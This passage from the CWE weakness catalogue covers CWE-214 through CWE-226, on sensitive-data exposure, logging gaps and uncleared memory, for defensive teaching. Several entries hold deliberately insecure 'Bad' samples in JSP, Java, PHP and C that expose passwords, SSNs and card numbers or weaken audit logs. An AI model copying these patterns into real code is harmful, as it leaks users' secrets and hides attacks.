Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

## Observed Examples

Reference	Description
<b>CVE-2002-1725</b>	Script calls phpinfo() <a href="https://www.cve.org/CVERecord?id=CVE-2002-1725">https://www.cve.org/CVERecord?id=CVE-2002-1725</a>
<b>CVE-2004-0033</b>	Script calls phpinfo() <a href="https://www.cve.org/CVERecord?id=CVE-2004-0033">https://www.cve.org/CVERecord?id=CVE-2004-0033</a>
<b>CVE-2003-1181</b>	Script calls phpinfo() <a href="https://www.cve.org/CVERecord?id=CVE-2003-1181">https://www.cve.org/CVERecord?id=CVE-2003-1181</a>
<b>CVE-2004-1422</b>	Script calls phpinfo() <a href="https://www.cve.org/CVERecord?id=CVE-2004-1422">https://www.cve.org/CVERecord?id=CVE-2004-1422</a>
<b>CVE-2004-1590</b>	Script calls phpinfo() <a href="https://www.cve.org/CVERecord?id=CVE-2004-1590">https://www.cve.org/CVERecord?id=CVE-2004-1590</a>
<b>CVE-2003-1038</b>	Product lists DLLs and full pathnames. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1038">https://www.cve.org/CVERecord?id=CVE-2003-1038</a>
<b>CVE-2005-1205</b>	Telnet protocol allows servers to obtain sensitive environment information from clients. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1205">https://www.cve.org/CVERecord?id=CVE-2005-1205</a>
<b>CVE-2005-0488</b>	Telnet protocol allows servers to obtain sensitive environment information from clients. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0488">https://www.cve.org/CVERecord?id=CVE-2005-0488</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Maintenance

This entry is being considered for deprecation. It overlaps many other entries related to information exposures. It might not be essential to preserve this entry, since other key stakeholder policies are covered elsewhere, e.g. personal privacy leaks (CWE-359) and system-level exposures that are important to system administrators (CWE-497).

### Theoretical

In vulnerability theory terms, this covers cases in which the developer's Intended Policy allows the information to be made available, but the information might be in violation of a Universal Policy in which the product's administrator should have control over which information is considered sensitive and therefore should not be exposed.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Intended information leak

## CWE-214: Invocation of Process Using Visible Sensitive Information

**Weakness ID** : 214

**Structure** : Simple

**Abstraction** : Base

### Description

A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.

### Extended Description

Many operating systems allow a user to list information about processes that are owned by other users. Other users could see information such as command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the product or related resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1127
PeerOf	V	526	Cleartext Storage of Sensitive Information in an Environment Variable	1165



*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1016	Limit Exposure	2224

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Demonstrative Examples

#### Example 1:

In the example below, the password for a keystore file is read from a system property.

*Example Language: Java*

*(Bad)*

```
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
    System.err.println("ERROR: Keystore password not specified.");
    System.exit(-1);
}
...
```

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

### Observed Examples

Reference	Description
<b>CVE-2005-1387</b>	password passed on command line <a href="https://www.cve.org/CVERecord?id=CVE-2005-1387">https://www.cve.org/CVERecord?id=CVE-2005-1387</a>
<b>CVE-2005-2291</b>	password passed on command line <a href="https://www.cve.org/CVERecord?id=CVE-2005-2291">https://www.cve.org/CVERecord?id=CVE-2005-2291</a>
<b>CVE-2001-1565</b>	username/password on command line allows local users to view via "ps" or other process listing programs <a href="https://www.cve.org/CVERecord?id=CVE-2001-1565">https://www.cve.org/CVERecord?id=CVE-2001-1565</a>
<b>CVE-2004-1948</b>	Username/password on command line allows local users to view via "ps" or other process listing programs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1948">https://www.cve.org/CVERecord?id=CVE-2004-1948</a>
<b>CVE-1999-1270</b>	PGP passphrase provided as command line argument. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1270">https://www.cve.org/CVERecord?id=CVE-1999-1270</a>
<b>CVE-2004-1058</b>	Kernel race condition allows reading of environment variables of a process that is still spawning. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1058">https://www.cve.org/CVERecord?id=CVE-2004-1058</a>
<b>CVE-2021-32638</b>	Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command. <a href="https://www.cve.org/CVERecord?id=CVE-2021-32638">https://www.cve.org/CVERecord?id=CVE-2021-32638</a>

### Affected Resources

- System Process

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## Notes

### Research Gap

Under-studied, especially environment variables.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Process information infoleak to other processes
Software Fault Patterns	SFP23		Exposed Data

## CWE-215: Insertion of Sensitive Information Into Debugging Code

**Weakness ID** : 215

**Structure** : Simple

**Abstraction** : Base

## Description

The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production.

## Extended Description

When debugging, it may be necessary to report detailed information to the programmer. However, if the debugging code is not disabled when the product is operating in a production environment, then this sensitive information may be exposed to attackers.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		200	Exposure of Sensitive Information to an Unauthorized Actor	484
CanFollow		489	Active Debug Code	1106

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Potential Mitigations

### Phase: Implementation

Do not leave debug statements that could be executed in the source code. Ensure that all debug information is eradicated before releasing the software.

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

## Demonstrative Examples

### Example 1:

The following program changes its behavior based on a debug flag.

*Example Language: JSP*

*(Bad)*

```
<% if (Boolean.getBoolean("debugEnabled")) {
  %>
  User account number: <%= acctNo %>
  <%
} %>
```





The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

## Observed Examples

Reference	Description
<b>CVE-2004-2268</b>	Password exposed in debug information. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2268">https://www.cve.org/CVERecord?id=CVE-2004-2268</a>
<b>CVE-2002-0918</b>	CGI script includes sensitive information in debug messages when an error is triggered. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0918">https://www.cve.org/CVERecord?id=CVE-2002-0918</a>
<b>CVE-2003-1078</b>	FTP client with debug option enabled shows password to the screen. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1078">https://www.cve.org/CVERecord?id=CVE-2003-1078</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	2125
MemberOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf		933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2184
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

## Notes

### Relationship

This overlaps other categories.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Infoleak Using Debug Information
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
Software Fault Patterns	SFP23		Exposed Data

## CWE-219: Storage of File with Sensitive Data Under Web Root

**Weakness ID** : 219

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.

### Extended Description

Besides public-facing web pages and code, products may store sensitive data, code that is not directly invoked, or other files under the web document root of the web server. If the server is not configured or otherwise used to prevent direct access to those files, then attackers may obtain this sensitive data.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		552	Files or Directories Accessible to External Parties	1193
ParentOf		433	Unparsed Raw Web Content Delivery	989

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

Avoid storing information under the web root directory.

**Phase: System Configuration**

Access control permissions should be set to prevent reading/writing of sensitive files inside/ outside of the web directory.

### Observed Examples

Reference	Description
<b>CVE-2005-1835</b>	Data file under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1835">https://www.cve.org/CVERecord?id=CVE-2005-1835</a>
<b>CVE-2005-2217</b>	Data file under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2217">https://www.cve.org/CVERecord?id=CVE-2005-2217</a>
<b>CVE-2002-1449</b>	Username/password in data file under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1449">https://www.cve.org/CVERecord?id=CVE-2002-1449</a>
<b>CVE-2002-0943</b>	Database file under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0943">https://www.cve.org/CVERecord?id=CVE-2002-0943</a>
<b>CVE-2005-1645</b>	database file under web root. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1645">https://www.cve.org/CVERecord?id=CVE-2005-1645</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	2133
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	2151
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under Web Root
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

## CWE-220: Storage of File With Sensitive Data Under FTP Root

**Weakness ID** : 220

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	552	Files or Directories Accessible to External Parties	1193

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details

Various Unix FTP servers require a password file that is under the FTP root, due to use of chroot.

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

Avoid storing information under the FTP root directory.

**Phase: System Configuration**

Access control permissions should be set to prevent reading/writing of sensitive files inside/outside of the FTP directory.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<b>V</b>	Page
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Sensitive Data Under FTP Root

## CWE-221: Information Loss or Omission

**Weakness ID** : 221

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis.

### Extended Description

This can be resultant, e.g. a buffer overflow might trigger a crash before the product can log the event.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to



similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367
ParentOf	B	222	Truncation of Security-relevant Information	532
ParentOf	B	223	Omission of Security-relevant Information	533
ParentOf	B	224	Obscured Security-relevant Information by Alternate Name	535
ParentOf	B	356	Product UI does not Warn User of Unsafe Actions	832
ParentOf	B	396	Declaration of Catch for Generic Exception	908
ParentOf	B	397	Declaration of Throws for Generic Exception	910
ParentOf	C	451	User Interface (UI) Misrepresentation of Critical Information	1020

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	2212

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information loss or omission

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Server Logs Tampering

## CWE-222: Truncation of Security-relevant Information

**Weakness ID** : 222

**Structure** : Simple

**Abstraction** : Base

### Description

The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	531

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities  <i>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</i>	

### Observed Examples

Reference	Description
<b>CVE-2005-0585</b>	Web browser truncates long sub-domains or paths, facilitating phishing. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0585">https://www.cve.org/CVERecord?id=CVE-2005-0585</a>
<b>CVE-2004-2032</b>	Bypass URL filter via a long URL with a large number of trailing hex-encoded space characters. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2032">https://www.cve.org/CVERecord?id=CVE-2004-2032</a>
<b>CVE-2003-0412</b>	Does not log complete URI of a long request (truncation). <a href="https://www.cve.org/CVERecord?id=CVE-2003-0412">https://www.cve.org/CVERecord?id=CVE-2003-0412</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		884	CWE Cross-section	884	2327
MemberOf		997	SFP Secondary Cluster: Information Loss	888	2212

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Truncation of Security-relevant Information

## CWE-223: Omission of Security-relevant Information

**Weakness ID** : 223

**Structure** : Simple

**Abstraction** : Base

### Description



The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		221	Information Loss or Omission	531
ParentOf		778	Insufficient Logging	1525

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1210	Audit / Logging Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	
	<i>The source of an attack will be difficult or impossible to determine. This can allow attacks to the system to continue without notice.</i>	

### Demonstrative Examples

#### Example 1:

This code logs suspicious multiple login attempts.

*Example Language: PHP*

*(Bad)*

```
function login($userName,$password){
    if(authenticate($userName,$password)){
        return True;
    }
    else{
        incrementLoginAttempts($userName);
        if(recentLoginAttempts($userName) > 5){
            writeLog("Failed login attempt by User: " . $userName . " at " + date('r') );
        }
    }
}
```

This code only logs failed login attempts when a certain limit is reached. If an attacker knows this limit, they can stop their attack from being discovered by avoiding the limit.

### Observed Examples

Reference	Description
<b>CVE-1999-1029</b>	Login attempts not recorded if user disconnects before maximum number of tries. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1029">https://www.cve.org/CVERecord?id=CVE-1999-1029</a>
<b>CVE-2002-1839</b>	Sender's IP address not recorded in outgoing e-mail. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1839">https://www.cve.org/CVERecord?id=CVE-2002-1839</a>
<b>CVE-2000-0542</b>	Failed authentication attempt not recorded if later attempt succeeds. <a href="https://www.cve.org/CVERecord?id=CVE-2000-0542">https://www.cve.org/CVERecord?id=CVE-2000-0542</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	997	SFP Secondary Cluster: Information Loss	888	2212
MemberOf	C	1036	OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring	1026	2232
MemberOf	C	1355	OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures	1344	2289

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Omission of Security-relevant Information

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-224: Obscured Security-relevant Information by Alternate Name

**Weakness ID** : 224

**Structure** : Simple

**Abstraction** : Base

### Description

The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	221	Information Loss or Omission	531

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1009	Audit	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1210	Audit / Logging Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Non-Repudiation	Hide Activities	

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

## Demonstrative Examples

### Example 1:

This code prints the contents of a file if a user has permission.

Example Language: PHP

(Bad)

```
function readfile($filename){
    $user = getCurrentUser();
    $realFile = $filename;
    //resolve file if its a symbolic link
    if(is_link($filename)){
        $realFile = readlink($filename);
    }
    if(fileowner($realFile) == $user){
        echo file_get_contents($realFile);
        return;
    }
    else{
        echo 'Access denied';
        writeLog($user . ' attempted to access the file ' . $filename . ' on ' . date('r'));
    }
}
```

While the code logs a bad access attempt, it logs the user supplied name for the file, not the canonicalized file name. An attacker can obscure their target by giving the script the name of a link to the file they are attempting to access. Also note this code contains a race condition between the `is_link()` and `readlink()` functions (CWE-363).

## Observed Examples

Reference	Description
<b>CVE-2002-0725</b>	Attacker performs malicious actions on a hard link to a file, obscuring the real target file. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0725">https://www.cve.org/CVERecord?id=CVE-2002-0725</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		997	SFP Secondary Cluster: Information Loss	888	2212

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Obscured Security-relevant Information by Alternate Name

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

## CWE-226: Sensitive Information in Resource Not Removed Before Reuse

Weakness ID : 226

**Structure** : Simple  
**Abstraction** : Base

## Description

The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.

## Extended Description

When resources are released, they can be made available for reuse. For example, after memory is de-allocated, an operating system may make the memory available to another process, or disk space may be reallocated when a file is deleted. As removing information requires time and additional resources, operating systems do not usually clear the previously written information.

Even when the resource is reused by the same process, this weakness can arise when new data is not as large as the old data, which leaves portions of the old data still available. Equivalent errors can occur in other situations where the length of data is variable but the associated data structure is not. If memory is not cleared after use, the information may be read by less trustworthy parties when the memory is reallocated.

This weakness can apply in hardware, such as when a device or system switches between power, sleep, or debug states during normal operation, or when execution changes to different users or privilege levels.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	520
ChildOf	B	459	Incomplete Cleanup	1038
ParentOf	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	561
ParentOf	V	1239	Improper Zeroization of Hardware Register	1868
ParentOf	B	1272	Sensitive Information Uncleared Before Debug/Power State Transition	1942
ParentOf	B	1301	Insufficient or Incomplete Data Removal within Hardware Component	2000
ParentOf	B	1342	Information Exposure through Microarchitectural State after Transient Execution	2071
CanPrecede	B	201	Insertion of Sensitive Information Into Sent Data	493

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ParentOf	V	1239	Improper Zeroization of Hardware Register	1868
ParentOf	B	1342	Information Exposure through Microarchitectural State after Transient Execution	2071

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2120



## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

## Detection Methods

### Manual Analysis

Write a known pattern into each sensitive location. Trigger the release of the resource or cause the desired state transition to occur. Read data back from the sensitive locations. If the reads are successful, and the data is the same as the pattern that was originally written, the test fails and the product needs to be fixed. Note that this test can likely be automated.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

#### Phase: Implementation

During critical state transitions, information not needed in the next state should be removed or overwritten with fixed patterns (such as all 0's) or random data, before the transition to the next state.

*Effectiveness = High*

### Phase: Architecture and Design

#### Phase: Implementation

When releasing, de-allocating, or deleting a resource, overwrite its data and relevant metadata with fixed patterns or random data. Be cautious about complex resource types whose underlying representation might be non-contiguous or change at a low level, such as how a file might be split into different chunks on a file system, even though "logical" file positions are contiguous at the application layer. Such resource types might require invocation of special modes or APIs to tell the underlying operating system to perform the necessary clearing, such as SDelete (Secure Delete) on Windows, although the appropriate functionality might not be available at the application layer.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

This example shows how an attacker can take advantage of an incorrect state transition.

Suppose a device is transitioning from state A to state B. During state A, it can read certain private keys from the hidden fuses that are only accessible in state A but not in state B. The device reads the keys, performs operations using those keys, then transitions to state B, where those private keys should no longer be accessible.

*Example Language:*

*(Bad)*

During the transition from A to B, the device does not scrub the memory.

After the transition to state B, even though the private keys are no longer accessible directly from the fuses in state B, they can be accessed indirectly by reading the memory that contains the private keys.

*Example Language:*

*(Good)*

For transition from state A to state B, remove information which should not be available once the transition is complete.

### Example 2:

The following code calls `realloc()` on a buffer containing sensitive data:

*Example Language: C*

*(Bad)*

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but `realloc()` is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for `cleartext_buffer` could still contain an uncleared copy of the data.

### Observed Examples

Reference	Description
<b>CVE-2003-0001</b>	Ethernet NIC drivers do not pad frames with null bytes, leading to infoleak from malformed packets. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0001">https://www.cve.org/CVERecord?id=CVE-2003-0001</a>
<b>CVE-2003-0291</b>	router does not clear information from DHCP packets that have been previously used <a href="https://www.cve.org/CVERecord?id=CVE-2003-0291">https://www.cve.org/CVERecord?id=CVE-2003-0291</a>
<b>CVE-2005-1406</b>	Products do not fully clear memory buffers when less data is stored into the buffer than previous. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1406">https://www.cve.org/CVERecord?id=CVE-2005-1406</a>
<b>CVE-2005-1858</b>	Products do not fully clear memory buffers when less data is stored into the buffer than previous. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1858">https://www.cve.org/CVERecord?id=CVE-2005-1858</a>
<b>CVE-2005-3180</b>	Products do not fully clear memory buffers when less data is stored into the buffer than previous. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3180">https://www.cve.org/CVERecord?id=CVE-2005-3180</a>
<b>CVE-2005-3276</b>	Product does not clear a data structure before writing to part of it, yielding information leak of previously used memory. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3276">https://www.cve.org/CVERecord?id=CVE-2005-3276</a>
<b>CVE-2002-2077</b>	Memory not properly cleared before reuse. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2077">https://www.cve.org/CVERecord?id=CVE-2002-2077</a>

### Functional Areas

- Memory Management
- Networking

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2131
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	C	1202	Memory and Storage Issues	1194	2265

## Notes

### Relationship

There is a close association between CWE-226 and CWE-212. The difference is partially that of perspective. CWE-226 is geared towards the final stage of the resource lifecycle, in which the resource is deleted, eliminated, expired, or otherwise released for reuse. Technically, this involves a transfer to a different control sphere, in which the original contents of the resource are no longer relevant. CWE-212, however, is intended for sensitive data in resources that are intentionally shared with others, so they are still active. This distinction is useful from the perspective of the CWE research view (CWE-1000).

### Maintenance

